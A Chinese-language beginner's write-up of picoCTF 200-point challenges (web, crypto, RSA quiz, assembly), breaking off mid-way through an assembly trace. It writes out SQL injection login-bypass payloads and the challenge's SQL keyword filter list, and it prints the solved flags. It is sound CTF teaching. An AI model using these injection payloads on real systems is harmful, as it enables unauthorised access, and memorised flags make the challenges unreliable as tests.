為什麼會有這篇文章 ?
駭客 (hacker) 最好的入門就是從 CTF 開始,因為它是一個良好且安全的學習環境,但即便如此,CTF 的入門對很多人來說也是無從入手。
所以我想寫一篇能讓新手能看得懂的 Write up,而這一章是記錄了 PicoCTF 基礎的 150 - 200 分的題目,如果仍有寫得不清晰的地方,歡迎留言告訴我。
PicoCTF
建議註冊一個帳號邊玩邊學 : https://play.picoctf.org/practice
WebExploitation
picobrowser (200 points)
This website can be rendered only by picobrowser, go and catch the flag! https://jupiter.challenges.picoctf.org/problem/50522/ (link) or http://jupiter.challenges.picoctf.org:50522
Hints : You don’t need to download a new web browser
知識點 : User-Agent
題目是這樣,當我按了一下 Flag,就會彈出錯誤,同時還會顯示目前使用 OS 版本和使用哪個 browser 等資訊。
應該是只要判斷出我使用的 browser 叫 picobrowser 就能呼出 flag。
屬於需要修改本地端的題型,不過這次改的並不是 Cookie,是 User-Agent ,有以下 3 種解法。
方法一 : 針對目前所使用的瀏覽器去更改 User-Agent。
方法二 : 使用 linux 的 curl 指令,加上 --user-agent
參數。
方法三 : 寫程式,使用 python。
可以的話,我更推薦方法三,雖然對於這道題來說,它的表現是最複雜的,但學習了以後,它的通用性是最廣的,可以靈活改變去應付日後題目。
下面記錄一下各個具體做法
方法一 :
首先要先知道自己所使用的瀏覽器叫什麼名稱,然後善用 Google 尋找如何修改該瀏覽器的 user agent。
而這個網站收錄了各瀏覽器的修改方法。
我這邊呈現一下我所使用的瀏覽器 chrome 修改 user agent 時的步驟。
-
右鍵 -> 檢查 ( F12 或 Ctrl + Shint + I )
-
選擇 More Tools -> Network Conditions
-
在 User agent 一欄裡,取消勾選 Select Automatically 框,填入自定義的 picobrowser 作為新的 user agent。
-
重新整理網頁,got the flag!
方法二 :
curl --user-agent "picobrowser" "https://jupiter.challenges.picoctf.org/problem/50522/flag" | grep "picoCTF"
方法三 :
import requests
session = requests.Session()
headers = {'User-Agent':'picobrowser'}
response = session.get('https://jupiter.challenges.picoctf.org/problem/50522/flag', headers=headers)
page = response.text
print(page[page.index('picoCTF{') : page.index('}')+1])
Client-side-again (200 points)
Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/6353/ (link) or http://jupiter.challenges.picoctf.org:6353
Hints : What is obfuscation?
題目是一個簡單的驗證密碼網頁,例行先查看網頁原始碼
<html>
<head>
<title>Secure Login Portal V2.0</title>
</head>
<body background="barbed_wire.jpeg" >
<!-- standard MD5 implementation -->
<script type="text/javascript" src="md5.js"></script>
<script type="text/javascript">
var _0x5a46=['0a029}','_again_5','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}
</script>
<div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:gray">
<div style="text-align:center">
<p>New and Improved Login</p>
<p>Enter valid credentials to proceed</p>
<form action="index.html" method="post">
<input type="password" id="pass" size="8" />
<br/>
<input type="submit" value="verify" onclick="verify(); return false;" />
</form>
</div>
</div>
</body>
</html>
發現了第 10 行就是用來判斷密碼的 Javascript 程式,但做了一些混淆並把它壓縮到一行裡,不易於人閱讀。
先用 Online Javascript Formatter 美化一下 Javascript 排版
美化排版後 :
var _0x5a46 = ['0a029}', '_again_5', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function(_0x4bd822, _0x2bd6f7) {
var _0xb4bdb3 = function(_0x1d68f6) {
while (--_0x1d68f6) {
_0x4bd822['push'](_0x4bd822['shift']());
}
};
_0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function(_0x2d8f05, _0x4b81bb) {
_0x2d8f05 = _0x2d8f05 - 0x0;
var _0x4d74cb = _0x5a46[_0x2d8f05];
return _0x4d74cb;
};
function verify() {
checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
split = 0x4;
if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
if (checkpass['substring'](0x6, 0xb) == 'F{not') {
if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
alert(_0x4b5b('0x8'));
}
}
}
}
}
}
}
} else {
alert(_0x4b5b('0x9'));
}
}
雖然排版已經美化了,但當中一些變數被混淆了,比如我們沒法讀懂 _0x4b5b('0x3')
是什麼意思
但其實可以透過 browser 的開發者工具裡的 Console 查詢 javascript 變數
每個變數的含意如下 :
_0x4b5b('0x0')
"getElementById"
_0x4b5b('0x1')
"value"
_0x4b5b('0x2')
"substring"
_0x4b5b('0x3')
"picoCTF{"
_0x4b5b('0x4')
"not_this"
_0x4b5b('0x5')
"0a029}"
_0x4b5b('0x6')
"_again_5"
_0x4b5b('0x7')
"this"
_0x4b5b('0x8')
"Password Verified"
_0x4b5b('0x9')
"Incorrect password"
把 Javascript 都翻譯一下後
function verify() {
checkpass = document["getElementById"]("pass")["value"];
/** @type {number} */
split = 4;
if (checkpass["substring"](0, split * 2) == "picoCTF{") {
if (checkpass["substring"](7, 9) == "{n") {
if (checkpass["substring"](split * 2, split * 2 * 2) == "not_this") {
if (checkpass["substring"](3, 6) == "oCT") {
if (checkpass["substring"](split * 3 * 2, split * 4 * 2) == "0a029}") {
if (checkpass["substring"](6, 11) == "F{not") {
if (checkpass["substring"](12, 16) == "this") {
if (checkpass["substring"](split * 2 * 2, split * 3 * 2) == "_again_5") {
alert("Password Verified");
}
}
}
}
}
}
}
} else {
alert("Incorrect password");
}
}
把判斷的部分節錄下來,得到字串中不同間隔的內容:
(0-8) == "picoCTF{"
(7-9) == "{n"
(8-16) == "not_this"
(3-6) == "oCT"
(24-32) == "0a029}"
(6-11) == "F{not"
(16-24) == "_again_5"
(12-16) == "this"
有些位置是重覆的,把都它排出來看看 :
picoCTF{------------------------
-------{n-----------------------
--------not_this----------------
---oCT--------------------------
------------------------0a029}
------F{not---------------------
----------------_again_5--------
------------this----------------
構成flag picoCTF{not_this_again_50a029}
Web Gauntlet (200 points)
Can you beat the filters? Log in as admin http://jupiter.challenges.picoctf.org:41560/ http://jupiter.challenges.picoctf.org:41560/filter.php
Hints 1 : You are not allowed to login with valid credentials.
Hints 2 : Write down the injections you use in case you lose your progress.
Hints 3 : For some filters it may be hard to see the characters, always (always) look at the raw hex in the response.
Hints 4 : sqlite
Hints 5 : If your cookie keeps getting reset, try using a private browser window
知識點 : SQL Injection
SQL Injection 有一個很常見的方式,就是利用註解,因為註解的內容是不被執行,所以我們必須先知道 SQL 註解的符號。
SQL 註解 1 : --
-- text_of_comment
SQL 註解 2 : /* */
/*
text_of_comment
*/
這道題一個驗證帳號密碼的頁面,一共有 5 關
如果先隨意輸入帳號 abc ,密碼 123 ,會出現一個 SQL 的語法,讓我們不必盲注
SELECT * FROM users WHERE username='abc' AND password='123'
也可以從 http://jupiter.challenges.picoctf.org:41560/filter.php 上得到這一關的提示(每一關刷新一次)
Round 1 :
被禁用字符 : or
Username : admin' --
Password : 任意
SELECT * FROM users WHERE username='admin' --' AND password='123'
Round 2 :
被禁用字符 : or and like = –
由於這題被禁止了 --
符號,所以用別的註解 /* ... */
Username : admin'/*
Password : 任意
SELECT * FROM users WHERE username='admin'/*' AND password='123'
Round 3 :
被禁用字符 : or and = like > < –
所以可以跟上一題一樣的 payload ,但也可以換個方式,利用 ;
強制斷行
Username : admin';
Password : 任意
SELECT * FROM users WHERE username='admin';' AND password='123'
Round 4 :
被禁用字符 : or and = like > < – admin
admin 這字串連用了 3 題,這關被禁用了,所以這題要利用 '||'
的字符,可以查看 它在 SQL 中的作用
Username : ad'||'min';
Password : 任意
SELECT * FROM users WHERE username='ad'||'min';' AND password='123'
Round 5 :
被禁用字符 : or and = like > < – union admin
這題可以用上一個 payload ,我把後面斷行改成註解
Username : ad'||'min'/*
Password : 任意
SELECT * FROM users WHERE username='ad'||'min'/*' AND password='123'
Round 6 :
我還以為有附加題,這時刷新一下 http://jupiter.challenges.picoctf.org:41560/filter.php 可以看得到 filter.php 的全部內容
<?php
session_start();
if (!isset($_SESSION["round"])) {
$_SESSION["round"] = 1;
}
$round = $_SESSION["round"];
$filter = array("");
$view = ($_SERVER["PHP_SELF"] == "/filter.php");
if ($round === 1) {
$filter = array("or");
if ($view) {
echo "Round1: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 2) {
$filter = array("or", "and", "like", "=", "--");
if ($view) {
echo "Round2: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 3) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--");
// $filter = array("or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round3: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 4) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "admin");
// $filter = array(" ", "/**/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round4: ".implode(" ", $filter)."<br/>";
}
} else if ($round === 5) {
$filter = array(" ", "or", "and", "=", "like", ">", "<", "--", "union", "admin");
// $filter = array("0", "unhex", "char", "/*", "*/", "--", "or", "and", "=", "like", "union", "select", "insert", "delete", "if", "else", "true", "false", "admin");
if ($view) {
echo "Round5: ".implode(" ", $filter)."<br/>";
}
} else if ($round >= 6) {
if ($view) {
highlight_file("filter.php");
}
} else {
$_SESSION["round"] = 1;
}
// picoCTF{y0u_m4d3_1t_275cea1159781d5b3ef3f57e70be664a}
?>
Cryptography
la cifra de (200 points)
I found this cipher in an old book. Can you figure out what it says? Connect with nc jupiter.challenges.picoctf.org 58295.
Hints 1 : There are tools that make this easy.
Hints 2 : Perhaps looking at history will help
知識點 : 維吉尼亞密碼 (Vigenère cipher)
先用 nc 連線到伺服器去,domain 是 jupiter.challenges.picoctf.org , port 是 58295
$ nc jupiter.challenges.picoctf.org 58295
Encrypted message:
Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk
Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd
Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo
Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xf966878l}
Tnj qixxe wkqw-duhfmkseej ipsiwtpznzn uk l puqjarusahjeii htpnjc hubpvkw, hay rldk fcoaso 1467 be Qpot Gltzndtg Fwbkwei.
Zmp Volpnèxj Nivmpr ox ehkwpfuwp surptorps ifwlki ehk Fwbkwei Jndc uw Llhjcto Htpnjc.
It 1508, Ozhgsyey Ycizmpmozd itapnzjo tnj do-ifwlki eahzwa xjntg (f xazwtx uk dhokeej fwpnfmezx) ehgy hoaqo lgypr hj l cxneiifw curaotjyt uk ehk Atgksèce Inahkw.
Merqlsu’x deityd htzkrje avupaxjo it 1555 fd a itytosfaznzn uk ehk ktryy. Ehk qzwkw saraps uk ehk fwpnfmezx lrk szw ymtfzjo rklflgwwy, hze tnj llvmlbkyd ati ehk nydkc wezypry fce sniej gj mkfys uk l mtjxotnn kkd ahxfde, cmtcn hln hj oilkprkse woys eghs cuwceyuznjjyt.
嘗試養成一個駭客觸覺,如果看到一篇類似”文章”的東西但經過加密,十有八九離不開 維吉尼亞密碼,因為解密的過程,需要對每個字母的出現的頻率進行統計,還有能否組合出常用字彙等分析。所以通常給出的密文都足夠長。
這裡也有我之前解維吉尼亞密碼的思路過程,這個加密法搞懂了之後會很有意思。
再來就是利用線上網站進行解密。
特別要注意,解維吉尼亞密碼之前,最好先把密文處理成只剩英文字母,這樣比較不會在解密過程遇到 bug
解密後會得到 2 項資訊
- 當初加密時用到的 key
- 明文
而這題解密後的 key 是 flag
明文 :
It is interesting how in history people often receive credit for things they did not create
During the course of history, the Vigenère Cipher has been reinvented many times
It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso
For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3ra966878a}
The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.
The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.
In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.
Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.
Tapping (200 points)
Theres tapping coming in from the wires. What’s it saying nc jupiter.challenges.picoctf.org 9422.
Hints 1 : What kind of encoding uses dashes and dots?
Hints 2 : The flag is in the format PICOCTF{}
$ nc jupiter.challenges.picoctf.org 9422
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. ..--- -.... ---.. ...-- ---.. ..--- ....- -.... .---- ----- }
知識點 : 摩斯電碼(Morse code)
我用了這個網站解摩斯電碼
不過注意 {
和 }
不屬於摩斯電碼
得 flag PICOCTF{M0RS3C0D31SFUN2683824610}
Flags (200 points)
What do the flags mean?
Hints : The flag is in the format PICOCTF{}
思路1 : 看起來由很多旗組成的 flag 。
思路2 : 在 {
前面有 7 面旗,應該就是對應 PICOCTF 這 7 個字母
思路3 : 由於有一些旗重覆了,可以推測出以下字母 PICOCTF{F????????T?FF}
,只剩 9 個字母未知。
思路4 : 這些到底是什麼旗呢? 會不會有 26 個不同的旗幟去表示 26 個字母
最終我找到了答案,原來這些旗叫國際信號旗,是一種船隻間的旗幟溝通系統,讓船隻快速清晰地表明自船的意圖。
字母
數字
構成 flag PICOCTF{F1AG5AND5TUFF}
Mr-Worldwide (200 points)
A musician left us a message. What’s it mean?
message :
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
思路 1 : 這個看起來是一個地圖坐標
思路 2 : 如果每一個坐標代表一個英文字母,我猜字母會是該地名的第一個字
思路 3 : 試探性的用 google map 搜尋第一個坐標 (35.028309, 135.753082)
地址的全稱是 Nakanocho, Kamigyo Ward, Kyoto, 602-0958, Japan
有可能是街名、亦有可能城市名稱,不過這題只要有耐性就能解
[K]yoto (35.028309, 135.753082)
[O]dessa (46.469391, 30.740883)
[D]ayton (39.758949, -84.191605)
[I]stanbul (41.015137, 28.979530)
[A]bu Dhabi (24.466667, 54.366669)
[K]uala Lumpur (3.140853, 101.693207)
_
[A]ddis Ababa (9.005401, 38.763611)
[L]oja (-3.989038, -79.203560)
[A]msterdam (52.377956, 4.897070)
[S]leepy Hollow (41.085651, -73.858467)
[K]odiak (57.790001, -152.407227)
[A]lexandria (31.205753, 29.924526)
---------------------------------------------
picoCTF{KODIAK_ALASKA}
rsa-pop-quiz (200 points)
Class, take your seats! It’s PRIME-time for a quiz… nc jupiter.challenges.picoctf.org 18821
Hints : RSA info
知識點 : RSA 非對稱加密法
PS : 一直以來我沒弄清楚 RSA,就是一道題讓我重新認識了 RSA,相信我,請在這道題上花一些時間,細細品嚐,你除了會發現它蘊含了數學的美妙,再回過頭來才發現 RSA 其實並沒想像中的高深艱澀,難度定在只需花一個晚上就能學習個大概。
知識點同場加映 李永樂老師 11 分鐘講 RSA 加密算法
連線後,會連續問好幾題有關於 RSA 的計算問題
$ nc jupiter.challenges.picoctf.org 18821
Q1 : 有 q 和 p ,可否求出 n ?
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):
n = q x p
y
4636878989
Q2 : 有 p 和 n ,可否求出 q ?
#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):
q = n / p
y
93089
Q3 : 有 e (公讑) 和 n ,可否求出 q 和 p ?
#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):
無法,該 n 值沒有可以分解的因數 q 和 p ( 1 和 n 自己不算 )
n
Q4 : 有 q 和 p ,可否求出 totient(n) ?
#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):
totient(n) = ( q - 1 ) * ( p - 1 )
totient(n) = r = 歐拉函數
y
836623060
Q5 : 有 plaintext (明文)、 e (公讑) 、 n 。可否求出 ciphertext (密文) ?
#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):
ciphertext 等於 plaintext 的 e 次方,再除以 n ,剩下的餘數
y
256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
Q6 : 有 ciphertext (密文)、 e (公讑) 、 n 。可否求出 plaintext (明文) ?
#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):
plaintext 等於 ciphertext 的 d 次方,再除以 n ,剩下的餘數
而 d (私讑) 是來自於 e 乘 d 再除以 r 的餘數為 1
而 r (歐拉函數) 是等於 ( p- 1 ) * ( q - 1 )
該題無法,該 n 值沒有可以分解的因數 q 和 p ( 1 和 n 自己不算 )
n
Q7 : 有 q 、 p 、 e (公讑)。 可否求出 d (私讑) ?
#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):
有 p 和 q 可以求出 r (歐拉函數)
有 r (歐拉函數) 可以解出 e (公讑) 和 d (私讑)
寫成數學式子的話 e * d = r * k + 1
所以在解出 d 之前,先把 k 給找出
我用笨辦法把 k 窮舉出來
while True:
if(r*k+1)%e == 0: #k = 1,2,3..直到餘數為 0
break
k+=1
print(k)
d = (r * k + 1) / e
y
1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
Q8 : 有 p 、 ciphertext (密文) 、 e (公讑) 、 n 。可否求出 plaintext(明文) ?
#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 13433290949680532374013867441263154634705815037382789341947905025573905974395028146503162155477260989520870175638250366834087929309236841056522311567941474209163559687755762232926539910909326834168973560610986090744435081572047926364479629414399701920441091626046861493465214197526650146669009590360242375313096062285541413327190041808752295242278877995930751460977420696964385608409717277431821765402461515639686537904799084682553530460611519251872463837425068958992042166507373556839377045616866221238932332390930404993242351071392965945718308504231468783743378794612151028803489143522912976113314577732444166162766
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):
從結論說起,答案是可行,RSA 的安全性建立於難以對一個大數 n 因式分解以得到兩個大質數 p , q 。
基本可以總結成,只要求得有 p , q ,就等於破解了 RSA 密碼。
這邊我記錄一下原始數學下的 python 方法,沒有使用 library。
下面基本是一步步的求出 q 、 r (歐拉函數)、 d (私讑) 、 然後 plaintext (明文)。
p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext = 13433290949680532374013867441263154634705815037382789341947905025573905974395028146503162155477260989520870175638250366834087929309236841056522311567941474209163559687755762232926539910909326834168973560610986090744435081572047926364479629414399701920441091626046861493465214197526650146669009590360242375313096062285541413327190041808752295242278877995930751460977420696964385608409717277431821765402461515639686537904799084682553530460611519251872463837425068958992042166507373556839377045616866221238932332390930404993242351071392965945718308504231468783743378794612151028803489143522912976113314577732444166162766
e = 65537
n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
q = n // p
print("q = ",q)
r = (q - 1) * (p - 1)
print("r = ",r)
k = 1
while True: #窮舉出 k ,讓 ed = kr + 1 等式成立
if(r * k + 1) % e == 0:
break
k += 1
print("k = ",k)
d = (r * k + 1) // e
print("d = ",d)
plaintext = pow(ciphertext,d,n)
print("plaintext = ",plaintext)
y
14311663942709674867122208214901970650496788151239520971623411712977120527163003942343369341
Q9 : 解讀明文
If you convert the last plaintext to a hex number, then ascii, you'll find what you need! ;)
明文 (十進位) :
14311663942709674867122208214901970650496788151239520971623411712977120527163003942343369341
明文 (十六進位) :
7069636F4354467B7741385F74683474245F696C6C336147616C2E2E6F61326432323339627D
明文 (ASCII) :
picoCTF{wA8_th4t$_ill3aGal..oa2d2239b}
Reverse Engineering
asm1 (200 points)
What does asm1(0x2e0) return? Submit the flag as a hexadecimal value (starting with ‘0x’). NOTE: Your submission for this question will NOT be in the normal flag format. Source
Hints : assembly conditions
知識點 : X86組合語言 ,基本指令集
嘗試閱讀一下組合語言
asm1:
<+0>: push ebp
<+1>: mov ebp,esp
<+3>: cmp DWORD PTR [ebp+0x8],0x3fb
<+10>: jg 0x512 <asm1+37>
<+12>: cmp DWORD PTR [ebp+0x8],0x280
<+19>: jne 0x50a <asm1+29>
<+21>: mov eax,DWORD PTR [ebp+0x8]
<+24>: add eax,0xa
<+27>: jmp 0x529 <asm1+60>
<+29>: mov eax,DWORD PTR [ebp+0x8]
<+32>: sub eax,0xa
<+35>: jmp 0x529 <asm1+60>
<+37>: cmp DWORD PTR [ebp+0x8],0x559
<+44>: jne 0x523 <asm1+54>
<+46>: mov eax,DWORD PTR [ebp+0x8]
<+49>: sub eax,0xa
<+52>: jmp 0x529 <asm1+60>
<+54>: mov eax,DWORD PTR [ebp+0x8]
<+57>: add eax,0xa
<+60>: pop ebp
<+61>: ret
assembly 的執行方式是從 上
往 下
,模擬一次執行的過程。
- 必備操作
asm1: <+0>: push ebp <+1>: mov ebp,esp
此時 ebp+0x8 的值是 0x2e0
- 比較 和 跳躍
<+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x3fb # 比較 0x2e0 和 0x3fb 大小 <+10>: jg 0x512 <asm1+37> # 如果大於則跳躍至 <+37> 處
由於不成立,沒有跳躍,繼續往下執行
- 再進行 比較 和 跳躍
<+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x3fb <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x280 # 比較 0x2e0 和 0x3fb 大小 <+19>: jne 0x50a <asm1+29> # 如果不等於則跳躍至 <+29> 處
成立了,跳躍至 <+29> 處
- 把 [ebp+0x8] 的值儲到暫存器 eax
<+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x3fb <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x280 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0xa <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] # 此時 eax = 0x2e0
- 減法 和 跳躍
<+0>: push ebp <+1>: mov ebp,esp <+3>: cmp DWORD PTR [ebp+0x8],0x3fb <+10>: jg 0x512 <asm1+37> <+12>: cmp DWORD PTR [ebp+0x8],0x280 <+19>: jne 0x50a <asm1+29> <+21>: mov eax,DWORD PTR [ebp+0x8] <+24>: add eax,0xa <+27>: jmp 0x529 <asm1+60> <+29>: mov eax,DWORD PTR [ebp+0x8] <+32>: sub eax,0xa # 把 0x2e0 減 0xa ,得出 0x2d6 <+35>: jmp 0x529 <asm1+60> # 直接跳躍至 <+60> 處
直接跳躍至 <+60> 處
